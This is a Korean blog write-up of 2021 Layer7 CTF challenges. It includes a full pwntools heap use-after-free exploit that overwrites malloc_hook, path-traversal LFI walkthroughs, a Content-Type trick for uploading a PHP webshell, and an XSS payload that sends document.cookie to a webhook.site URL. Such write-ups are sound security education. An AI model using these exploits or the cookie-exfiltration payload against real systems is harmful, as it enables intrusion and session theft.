Sechack

2021 Layer7 CTF write up 본문

CTF

2021 Layer7 CTF write up

Sechack 2021. 11. 21. 03:30
반응형

mic check

 

디스코드 채널에 가면 플래그가 있습니다.

 

 

Pocketmon

 

 

메뉴를 보면 평범한 힙 문제이다.

 

 

할당받을때 chunk를 2개 할당한다.

 

 

핵심 취약점은 free할때 터지는데 인덱스가 16일때는 NOOOOOOOOOOOOOOOOOOOOOO를 출력하고 끝낸다. 0으로 초기화해주지 않아서 16번 인덱스에서 uaf가 터진다. 우리는 free된 chunk에 맘대로 접근할 수 있으므로 fd를 맘대로 바꿀 수 있고 결과적으로 aaw를 할 수 있다.

 

 

 

libc leak은 여기 남아있는 주소를 이용해서 0x7f를 size로 놓고 chunk할당하면 된다. 프로그램에서 0x30크기와 0x70크기의 chunk를 사용하고있는데 딱 맞다. 그리고 calloc이어도 0x7f가 size로 들어가게 되면 IS_MMAPPED비트가 자연스럽게 설정되면서 0으로 초기화되지 않고 할당되니까 그대로 leak을 할 수 있다. libc base leak한 다음에는 똑같이 malloc_hook주변에 0x7f이용해서 malloc_hook을 one_gadget으로 덮어주면 된다. ubuntu 16.04에 pwntools설치가 자꾸 안되길래 20.04에서 tcache꽉채워서 16.04처럼 fastbin쓰게끔 하고 익스 진행해서 로컬이랑 리모트랑 익스가 약간 다르다.

 

 

Full exploit

 

 

from pwn import*

#r = process("./Pocketmon")
r = remote("ctf.layer7.kr", 19304)
e = ELF("./Pocketmon")
libc = ELF("./libc-2.23.so")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")

def add(name, typestr, des, skill):
    r.sendlineafter("Exit\n\n", "1")
    r.sendafter("Pocketmon\n", name)
    r.sendafter("Pocketmon\n", typestr)
    r.sendafter("Pocketmon\n", des)
    r.sendafter("Pocketmon\n", skill)

def edit(idx, name, typestr, des, skill):
    r.sendlineafter("Exit\n\n", "2")
    r.sendlineafter("Edit.\n\n", str(idx))
    r.sendafter("Pocketmon\n", name)
    r.sendafter("Pocketmon\n", typestr)
    r.sendafter("Pocketmon\n", des)
    r.sendafter("Pocketmon\n", skill)

def view(idx):
    r.sendlineafter("Exit\n\n", "3")
    r.sendlineafter("View.\n\n", str(idx))

def free(idx):
    r.sendlineafter("Exit\n\n", "4")
    r.sendlineafter("Remove.\n\n", str(idx))

for i in range(17):
    add("Sechack", "Sechack", "Sechack", "Sechack")

'''for i in range(17):
    free(i)''' #local ubuntu 20.04 make use fastbin

free(16) #remote

edit(16, "Sechack", p64(0x60207d)[:7], "Sechack", "Sechack")

add("Sechack", "Sechack", "Sechack", "Sechack")
add("Sechack", "Sechack", "Sechackaaaa", "Sechack")

view(18)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - libc.sym["_IO_2_1_stderr_"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0x4527a

print(hex(libc_base))

free(0)
free(16)

edit(16, "Sechack", p64(malloc_hook - 0x23)[:7], "Sechack", "Sechack")

add("Sechack", "Sechack", "Sechack", "Sechack")
add("Sechack", "Sechack", b"a"*11+p64(one_gadget), "Sechack")

r.sendlineafter("Exit\n\n", "1")

r.interactive()

 

 

handmade

 

 

import socket
import urllib.parse
import os.path
import mimetypes

from response_form import *
from threading import Thread

def parse_http_request(req_data):
    req_data = req_data.split('\r\n\r\n')
    headers = req_data[0].split('\r\n')
    body = req_data[1]

    req_line = headers[0].split(' ') # GET /foo HTTP/1.1
    retval = {
        'method': req_line[0].upper(),
        'uri': urllib.parse.urlparse(req_line[1]),
        'protocol': req_line[2],
        'headers': {},
        'body': body
    }
    headers.pop(0)

    for header in headers:
        header = header.split(':')
        key = header[0].strip()
        retval['headers'][key] = header[1].lstrip()

    return retval

def make_response(req_data):
    try:
        method = req_data['method']
        req_uri = req_data['uri'].path
        qstring = req_data['uri'].query

        if method not in ALLOWED_METHOD:
            return not_allow_method(ALLOWED_METHOD)

        if method == 'GET':
            doc_path = DOCUMENT_DIR + req_uri

            if os.path.isdir(doc_path) and doc_path[::-1][0] != '/':
                doc_path += '/'
            if os.path.basename(doc_path) == '':
                doc_path += 'index.html'
            if not os.path.isfile(doc_path):
                return not_found()

            content = open(doc_path, 'rb').read()
            content_type = mimetypes.guess_type(doc_path)[0]

    except Exception as err:
        return internal_server_error(err)

    return normal_response(content, content_type)

def process(client, addr):
    try:
        req = client.recv(65535).decode()
        req_data = parse_http_request(req)
        res = make_response(req_data)
    except:
        res = bad_request()

    client.send(res)
    client.close()

    print(addr[0], req_data['method'], req_data['uri'], flush=True)
    print('closed', flush=True)
    return

if __name__ == '__main__':
    HOST, PORT = '0.0.0.0', 8081
    DOCUMENT_DIR = '/service/htdocs'
    ALLOWED_METHOD = ['GET']

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((HOST, PORT))
    sock.listen()

    print(f"server started {HOST}:{PORT}", flush=True)

    while True:
        try:
            (client, addr) = sock.accept()
            Thread(target=process, args=(client, addr, )).start()
            print('connection', flush=True)

        except Exception as err:
            print(err, flush=True)
            break

    sock.close()

 

 

문제 소스코드이다. 무언가 되게 복잡해보이는데 그냥 소켓으로 로우레벨에서 웹서버 구현한거니까 쫄필요는 없다. 생각보다 굉장히 간단한 문제이다.

 

 

def make_response(req_data):
    try:
        method = req_data['method']
        req_uri = req_data['uri'].path
        qstring = req_data['uri'].query

        if method not in ALLOWED_METHOD:
            return not_allow_method(ALLOWED_METHOD)

        if method == 'GET':
            doc_path = DOCUMENT_DIR + req_uri

            if os.path.isdir(doc_path) and doc_path[::-1][0] != '/':
                doc_path += '/'
            if os.path.basename(doc_path) == '':
                doc_path += 'index.html'
            if not os.path.isfile(doc_path):
                return not_found()

            content = open(doc_path, 'rb').read()
            content_type = mimetypes.guess_type(doc_path)[0]

    except Exception as err:
        return internal_server_error(err)

    return normal_response(content, content_type)

 

여기서 doc_path = DOCUMENT_DIR + req_uri 이러한 구문이 있다. 그리고 open함수의 인자로 doc_path가 들어간다. req_uri는 우리가 요청하는 url의 뒷부분이다. 따라서 우리가 조작할 수 있는 값이고 LFI가 발생한다.

 

 

 

따라서 이렇게 요청을 보내면

 

 

정상적으로 플래그가 나온다.

 

 

Easy Web

 

파일을 업로드하고 볼 수 있는 웹사이트이다.

 

 

 

일단 view.php에서 file파라미터를 조작할 수 있고 파일 경로에 대한 별다른 필터링이 없으므로 정해진 디렉터리를 거슬러 올라가서 원하는 파일을 읽을 수 있다. 이 기능을 이용해서 서버에 있는 php파일의 내용들을 전부 읽어보면

 

index.php

<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Hi!</title>
    </head>
    <body>
        <h1>
            Hello, world!
        </h1>
        <br>
        <a href="upload.php">upload</a>
        <a href="view.php">view</a>
    </body>
</html>

 

 

view.php

 

<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );

    if($_GET['file']){
        echo file_get_contents("/var/www/html/uploads/" . $_GET['file']);
    }
    else{
        echo "?file=filename";
    }
?>

 

upload.php

 

<?php

    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );

    include('./includes/func.php');
    
    $uploads_dir = './uploads';
    $allowed_ext = array('jpeg','png');

    if($_FILES['upload_file']){
        $file = $_FILES['upload_file'];
        if(filesize($file['tmp_name']) > (10 * 1024)){
            echo "Too large..<br><a href='index.php'>index</a>";
        }
        else{
            $ext = filename_ext_parse($file['name']);
            if(!$ext){
                $ext = filetype_ext_parse($file['type']);
                if($ext){
                    $filename = gen_filename($ext);
                    if(filtering($file['tmp_name'])){
                        echo "Error<br><a href='index.php'>index</a>";
                    }
                    else{
                        move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                        chmod("$uploads_dir/$filename", 0777);
                        echo "Upload success!!<br>your file is here ->  <a href='view.php?file=$filename'>your_file</a>";
                    }
                }
                else{
                    echo "Error<br><a href='index.php'>index</a>";
                }
            }
            else if(in_array($ext, $allowed_ext)){
                $filename = gen_filename($ext);
                if(filtering($file['tmp_name'])){
                    echo "Error<br><a href='index.php'>index</a>";
                }
                else{
                    move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                    chmod("$uploads_dir/$filename", 0777);
                    echo "Upload success!!<br>your file is here -> <a href='view.php?file=$filename'>your_file</a>";
                }
            }
            else{
                echo "Error<br><a href='index.php'>index</a>";
            }
        }
        
    }
    
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Hi!</title>
    </head>
    <body>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            file: <input type="file" name="upload_file" accept="image/png, image/jpeg"><br>
            <input type="submit" name="submit" value="submit">
        </form>
    </body>
</html>

 

 

func.php

 

<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );
    
    function filename_ext_parse($input){
        if(strpos($input, '.')){
            $tmp = explode('.', $input);
            return $tmp[1];
        }
        else{
            return null;
        }
    }
    function filetype_ext_parse($input){
        if(strpos($input, '/')){
            $tmp = explode('/', $input);
            if($tmp[0] != "image"){
                return null;
            }
            return $tmp[1];
        }
        else{
            return null;
        }
    }
    function gen_filename($ext){
        return md5(random_bytes(32)) . '.' . $ext;
    }
    function filtering($filename){
        return strpos(file_get_contents($filename), '<?');
    }
?>

 

서버에서 돌아가는 php파일의 소스코드를 전부 알 수 있습니다. upload.php에서 func.php를 include해서 사용하길래 얘도 긁어와줬습니다. 다른 파일들은 별 내용이 없지만 upload.php와 func.php에는 중요한 내용들이 많이 담겨있습니다. upload.php를 얼핏 보면 이미지 파일만 올릴 수 있어보이지만

 

 

     $ext = filename_ext_parse($file['name']);
            if(!$ext){
                $ext = filetype_ext_parse($file['type']);
                if($ext){
                    $filename = gen_filename($ext);
                    if(filtering($file['tmp_name'])){
                        echo "Error<br><a href='index.php'>index</a>";
                    }
                    else{
                        move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                        chmod("$uploads_dir/$filename", 0777);
                        echo "Upload success!!<br>your file is here ->  <a href='view.php?file=$filename'>your_file</a>";
                    }
                }
                else{
                    echo "Error<br><a href='index.php'>index</a>";
                }
            }

 

 

이 부분을 보면 file['type']을 이용해서 파일 이름을 결정하는것을 볼 수 있습니다. file['type']의 값은 요청할때 넘겨준 Content-Type입니다.

 

 

    function filetype_ext_parse($input){
        if(strpos($input, '/')){
            $tmp = explode('/', $input);
            if($tmp[0] != "image"){
                return null;
            }
            return $tmp[1];
        }
        else{
            return null;
        }
    }

 

전달된 Content-Type은 이런식으로 파싱됩니다.

 

                if($ext){
                    $filename = gen_filename($ext);
                    if(filtering($file['tmp_name'])){
                        echo "Error<br><a href='index.php'>index</a>";
                    }
                    else{
                        move_uploaded_file($file['tmp_name'], "$uploads_dir/$filename");
                        chmod("$uploads_dir/$filename", 0777);
                        echo "Upload success!!<br>your file is here ->  <a href='view.php?file=$filename'>your_file</a>";
                    }
                }

 

 

이후 반환된 값을 get_filename함수에 넣어줘서 최종적으로 파일 이름을 만들어냅니다.

 

    function gen_filename($ext){
        return md5(random_bytes(32)) . '.' . $ext;
    }

 

파일 이름을 만드는 함수를 보면 전달받은 인자를 확장자로 바로 넣고 있습니다. 따라서 우리는 http요청을 보낼때 Content-Type을 image/php로 넣는다면 확장자를 php로 설정하는것이 가능해집니다. webshell을 업로드해서 RCE를 딸 수 있습니다.

 

 

 

업로드하는 파일의 Content-Type을 이런식으로 변조하고 요청을 보내면 성공적으로 업로드가 됩니다. 파일은 uploads디렉터리에 업로드되므로 여기에 접근하게 되면 우리가 업로드한 php파일이 실행됩니다.

 

 

성공적으로 RCE가 따였습니다.

 

 

 

 

 

My little markdown parser

 

 

 

report기능이 있는걸 보니 xss, csrf와 같은 Client에서 일어나는 취약점인것 같습니다. 쿠키 탈취가 목적인 문제라고 생각해볼 수 있습니다. 마크다운 파서라는데 아무거나 입력하고 submit을 눌러보면 파일을 볼 수 있는 view.php가 있음을 알 수 있는데 Easy Web문제와 같이 LFI가 터집니다.

 

 

따라서 이 취약점을 이용해서 서버측 소스코드를 얻어낼 수 있습니다.

 

 

<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );
    
    include('./includes/parse.php');
    $parse = new  markdown();
    $filename = md5(random_bytes(32));
    $fp = fopen('./uploads/' . $filename,'w');
    fwrite($fp, $parse->test($_POST['contents']));
    fclose($fp);
    echo "<p>write success</p><p>your file name is {$filename}</p><br><a href=view.php>view</a>";
?>

 

 

write.php를 보면 parse.php를 include해주고 있고 parse.php가 마크다운 문법을 파싱하는 역할을 하는 로직임을 알 수 있습니다.

 

 

<?php
    error_reporting( E_ALL );
    ini_set( "display_errors", 0 );

    class markdown{
        function remove_space($arr){
            for($i = 0; $i < count($arr); $i++){
                $arr[$i] = preg_replace('/\r\n|\r|\n/', '', $arr[$i]);
            }
            return $arr;
        }
        function test($input){
            $res = "";
            $line = explode("\n", $input);
            $line = $this->remove_space($line);
            for($i = 0; $i < count($line); $i++){
                $res .= $this->tag_check($line[$i]);
            }
            
            return $res;
        }
        function tag_check($input){
            if(preg_match('/^\#/',$input)){
                if(strpos(' ', $input)){
                    return "<p>parsing error</p>";
                }

                $h_num = strlen($input) - 1 - strrpos(strrev($input), ' ');
                if($h_num > 6){
                    return "<p>parsing error</p>";
                }
                if(!preg_match("/\#{" . $h_num . "}/", $input)){
                    return "<p>parsing error</p>";
                }
                $contents = substr($input, strrpos($input, ' '), strlen($input));
                $h1 = '<h' . $h_num . '>' . htmlspecialchars($contents) . '</h' . $h_num . '>';
                return $h1;
            }
            else if(preg_match('/^\*\*/',$input)){
                $contents = substr($input, 2, strlen($input)-4);
                return "<strong>" . htmlspecialchars($contents) . "</strong>";
            }
            else if(preg_match('/^\*/',$input)){
                $contents = substr($input, 1, strlen($input)-2);
                return "<em>" . htmlspecialchars($contents) . "</em>";
            }
            else if(preg_match('/^\`\`\`(.*?)\`\`\`/',$input)){
                $contents = substr($input, 3, strlen($input)-6);
                return "<code>" . htmlspecialchars($contents) . "</code>";
            }
            else if(preg_match('/^\!\[([A-Za-z0-9_\/\:\.]*)\]\(([A-Za-z0-9_\/\:\.]*)\)/',$input)){
                $alt_res = null;
                $src_res = null;
                if(substr_count($input, ']') < 2){  
                    $alt_res = substr($input, strrpos($input, '[') + 1, strrpos($input, ']') - strrpos($input, '[') - 1);
                }
                if(substr_count($input, ')') < 2){
                    $src_res = substr($input, strrpos($input, '(') + 1, strrpos($input, ')') - strrpos($input, '(') - 1);
                }
                if($src_res && $alt_res){
                    return "<img src='" . $src_res . "' alt='" . $alt_res . "'>";
                }
                else{
                    return "<p>parsing error</p>";
                }
            }
            else{
                return "<p>" . htmlspecialchars($input) . "</p>";
            }
        }
        
    }
?>

 

 

parse.php를 보면 다른곳은 전부 htmlspecialchars를 이용해서 xss를 방어하고 있지만

 

 

else if(preg_match('/^\!\[([A-Za-z0-9_\/\:\.]*)\]\(([A-Za-z0-9_\/\:\.]*)\)/',$input)){
                $alt_res = null;
                $src_res = null;
                if(substr_count($input, ']') < 2){  
                    $alt_res = substr($input, strrpos($input, '[') + 1, strrpos($input, ']') - strrpos($input, '[') - 1);
                }
                if(substr_count($input, ')') < 2){
                    $src_res = substr($input, strrpos($input, '(') + 1, strrpos($input, ')') - strrpos($input, '(') - 1);
                }
                if($src_res && $alt_res){
                    return "<img src='" . $src_res . "' alt='" . $alt_res . "'>";
                }
                else{
                    return "<p>parsing error</p>";
                }
            }

 

 

이 부분은 img태그의 src를 조작하면서 csrf정도를 터뜨릴 수 있습니다. 하지만 정규식에서 특수문자를 사용하지 못하게 해서 정상적인 마크다운 문법으로는 쿠키를 탈취할 방법이 보이지 않습니다. 하지만 파싱 로직에서 취약점이 터집니다.

 

 

if(substr_count($input, ']') < 2){  
$alt_res = substr($input, strrpos($input, '[') + 1, strrpos($input, ']') - strrpos($input, '[') - 1);
}
if(substr_count($input, ')') < 2){
$src_res = substr($input, strrpos($input, '(') + 1, strrpos($input, ')') - strrpos($input, '(') - 1);
}

 

 

바로 이부분에서 취약점이 터지게 되는데 일단 ]와 )는 2개이상 존재하면 안됩니다. 그리고 뒤에서부터 문자를 체크하는 strrpos함수를 이용해서 여는 괄호의 위치를 알아낸 후 닫는 괄호의 위치에서 여는 괄호의 위치 - 1을 뺍니다. 그리고 이 뺀값은 substr의 인자로 들어가게 되면서 괄호를 제외한 안에 문자열이 정확하게 걸러지는 방식으로 구현되어있습니다. 하지만 가장 큰 문제는 닫는 괄호만 검사하고 여는 괄호는 검사하지 않는다는것입니다. 따라서 여는 괄호는 2개이상 쓸 수 있고 이게 뒤에서부터 검사하는 strrpos함수의 특성과 결합되면서 취약점이 터지게 됩니다.

 

 

![a](a)(asdfasdfasdf

 

간단하게 이런식으로 넣게 되면 뒤에서부터 체크한 )의 위치에서 (의 위치를 빼는데 이렇게되면 substr의 2번째 인자가 음수가 되어버립니다. 따라서 뒤에 조금만 잘리게 되고 preg_match함수를 사용하니까 정규식도 한번만 만족하면 됩니다. 이미 ![a](a)부분에서 정규식을 만족했고 실제로 파싱되는 부분은 맨 뒤에 여는 괄호 이후에 값이므로 필터링을 우회하고 src속성을 빠져나와서 다른 속성을 줄 수도 있습니다.

 

 

![a](a)(' onerror='javascript:location.href="https://webhook.site/1b746543-c148-4860-964e-53d8b238c975?cookie="+document.cookieoo

 

 

이렇게 보내게 되면 src속성은 아무런 값을 가지지 않게 되고 당연히 예외가 발생하면서 onerror핸들러로 넘어가게 되는데 여기서 javascript로 쿠키를 탈취해주면 됩니다.

 

 

성공적으로 쿠키가 탈취된것을 볼 수 있습니다.

반응형
Comments